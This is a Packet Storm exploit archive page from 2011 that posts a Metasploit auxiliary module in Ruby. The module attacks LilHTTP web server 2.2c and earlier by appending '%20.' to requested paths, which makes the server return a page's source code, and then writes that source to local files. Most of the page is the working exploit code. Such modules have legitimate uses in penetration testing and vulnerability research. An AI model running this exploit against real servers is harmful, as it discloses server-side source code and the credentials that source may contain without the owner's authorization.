what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

LilHTTP Source Code Disclosure/Download

LilHTTP Source Code Disclosure/Download
Posted May 27, 2011
Authored by Treasure Priyamal | Site treasuresec.com

This Metasploit module exploits a source code disclosure/download vulnerability in versions 2.2c and prior of LilHTTP.

tags | exploit
SHA-256 | c2b75ab624e45f5f7aa4903e98c06bac4c9031186419bdf1c964c9adc0dc1287

LilHTTP Source Code Disclosure/Download

Change Mirror Download
##
# $Id: lilhttp_source_disclosure.rb 12196 2011-05-27 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'LilHTTP Source Code Disclosure/Download',
'Description' => %q{
This module exploits a source code disclosure/download vulnerability in
versions 2.2c and prior of LilHTTP.
},
'Version' => '$Revision: 12196 $',
'References' =>
[
[ 'URL', 'http://www.summitcn.com/lilhttp/lildocs.html' ]
],
'Author' =>
[
'Treasure Priyamal',
'http://treasuresec.com',
'treasure[at]treasuresec.com'

],
'License' => MSF_LICENSE)

register_options(
[
OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/index.html']),
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '/home/zero']),
], self.class)
end

def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
end

def run_host(ip)
uri = datastore['URI']
path_save = datastore['PATH_SAVE']

vuln_versions = [
"LilHTTP/2.2c" # Only Tested on 2.2c version might work on others versions too
]

disclosure = "%20."

begin
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{uri}#{disclosure}",
}, 25)

version = res.headers['Server'] if res

if vuln_versions.include?(version)
print_good("#{target_url} - LilHTTP - Vulnerable version: #{version}")

if (res and res.code == 200)

print_good("#{target_url} - LilHTTP - Getting the source of page #{uri}")

save_source = File.new("#{path_save}#{uri}","w")
save_source.puts(res.body.to_s)
save_source.close

print_status("#{target_url} - LilHTTP - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))

else
print_error("http://#{vhost}:#{rport} - LilHTTP - Unrecognized #{res.code} response")
return

end

else
if version =~ /LilHTTP/
print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not vulnerable - Version #{version}")
else
print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not LilHTTP")
end
return

end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close